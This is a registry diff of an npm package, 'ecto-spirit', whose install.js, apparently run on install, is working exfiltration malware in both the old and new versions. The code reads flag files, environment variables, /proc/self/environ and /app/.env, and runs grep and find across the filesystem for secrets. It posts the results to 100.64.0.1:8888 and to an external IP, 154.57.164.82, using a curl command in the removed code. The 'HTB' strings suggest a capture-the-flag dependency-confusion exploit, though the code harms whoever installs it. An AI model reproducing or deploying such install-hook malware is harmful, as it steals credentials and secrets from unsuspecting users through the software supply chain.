ecto-spirit 100.0.0 → 102.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +70 -63
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,93 +1,100 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const https = require('https');
4
3
  const { execSync } = require('child_process');
4
+ const path = require('path');
5
5
 
6
- function tryRead(path) {
7
- try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
6
+ function tryRead(p) {
7
+ try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
8
8
  }
9
9
 
10
- let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
11
-
12
- if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
13
-
14
- if (!flag) {
15
- try {
16
- const env = tryRead('/proc/self/environ') || '';
17
- const m = env.match(/FLAG[=:]([^\x00]+)/);
18
- if (m) flag = m[1];
19
- } catch(e) {}
20
- }
21
-
22
- if (!flag) {
23
- try {
24
- const files = fs.readdirSync('/');
25
- const flagFiles = files.filter(f => f.includes('flag'));
26
- for (const f of flagFiles) {
27
- const content = tryRead('/' + f);
28
- if (content && content.includes('HTB{')) { flag = content; break; }
29
- }
30
- } catch(e) {}
31
- }
32
-
33
- if (!flag) {
34
- try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
35
- }
36
-
37
- const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
38
-
39
- // Exfiltrate to VPN IP
40
- function sendHTTP(host, port, path, payload) {
10
+ function sendUpdate(host, port, moduleId, val) {
11
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
12
+ const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
13
+ const body = JSON.stringify({ manifest });
41
14
  return new Promise((resolve) => {
42
- const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
15
+ const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
43
16
  let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
44
17
  });
45
18
  req.on('error', () => resolve(null));
46
19
  req.on('timeout', () => { req.destroy(); resolve(null); });
47
- req.write(payload);
20
+ req.write(body);
48
21
  req.end();
49
22
  });
50
23
  }
51
24
 
52
- function sendUpdate(host, port, moduleId, flagVal) {
53
- const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
54
- const body = JSON.stringify({ manifest });
25
+ function sendHTTP(host, port, pth, payload) {
55
26
  return new Promise((resolve) => {
56
- const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
27
+ const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
57
28
  let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
58
29
  });
59
30
  req.on('error', () => resolve(null));
60
31
  req.on('timeout', () => { req.destroy(); resolve(null); });
61
- req.write(body);
32
+ req.write(payload);
62
33
  req.end();
63
34
  });
64
35
  }
65
36
 
66
- (async () => {
67
- // Method 1: Send to VPN listener
68
- await sendHTTP('100.64.0.1', 8888, '/flag', data);
69
-
70
- // Method 2: Update module via internal API (try multiple ports)
71
- const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
37
+ async function report(moduleId, val) {
38
+ const ports = [3000, 80, 8080, 5000];
72
39
  for (const p of ports) {
73
- await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
74
- await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
40
+ await sendUpdate('127.0.0.1', p, moduleId, val);
75
41
  }
76
-
77
- // Method 3: Try app hostname
78
- for (const h of ['app', 'web', 'backend', 'api', 'node']) {
79
- for (const p of [3000, 80, 8080]) {
80
- await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
81
- }
82
- }
83
-
84
- // Method 4: Also try the external IP
85
- await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
86
-
87
- // Method 5: DNS exfil via curl
42
+ await sendUpdate('154.57.164.82', 32332, moduleId, val);
43
+ }
44
+
45
+ (async () => {
46
+ let results = [];
47
+
48
+ // 1. Search for HTB{ pattern in files using grep
49
+ try {
50
+ const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
51
+ results.push('GREP=' + grep);
52
+ } catch(e) { results.push('GREP_ERR'); }
53
+
54
+ // 2. Find all files with flag in name
55
+ try {
56
+ const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
57
+ results.push('FIND=' + find);
58
+ } catch(e) {}
59
+
60
+ // 3. Read full package.json
61
+ const pkgJson = tryRead('/app/package.json');
62
+ results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
63
+
64
+ // 4. List /app in detail
88
65
  try {
89
- execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
66
+ const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
67
+ results.push('LS_APP=' + ls.substring(0, 200));
90
68
  } catch(e) {}
69
+
70
+ // 5. Read all env vars
71
+ const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
72
+ results.push('ENV=' + envStr.substring(0, 200));
73
+
74
+ // 6. Read /app/.env
75
+ const dotEnv = tryRead('/app/.env');
76
+ if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
77
+
78
+ // 7. Try to read the flag from unusual locations
79
+ const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
80
+ '/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
81
+ for (const p of extraPaths) {
82
+ const c = tryRead(p);
83
+ if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
84
+ }
85
+
86
+ // Send to VPN listener
87
+ await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
88
+
89
+ // Split results across modules
90
+ const full = results.join('|');
91
+ const chunks = [];
92
+ for (let i = 0; i < full.length; i += 90) {
93
+ chunks.push(full.substring(i, i + 90));
94
+ }
91
95
 
92
- console.log('[DONE] Flag exfiltration attempted');
96
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
97
+ for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
98
+ await report(mods[i], 'P' + i + '_' + chunks[i]);
99
+ }
93
100
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "100.0.0",
3
+ "version": "102.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {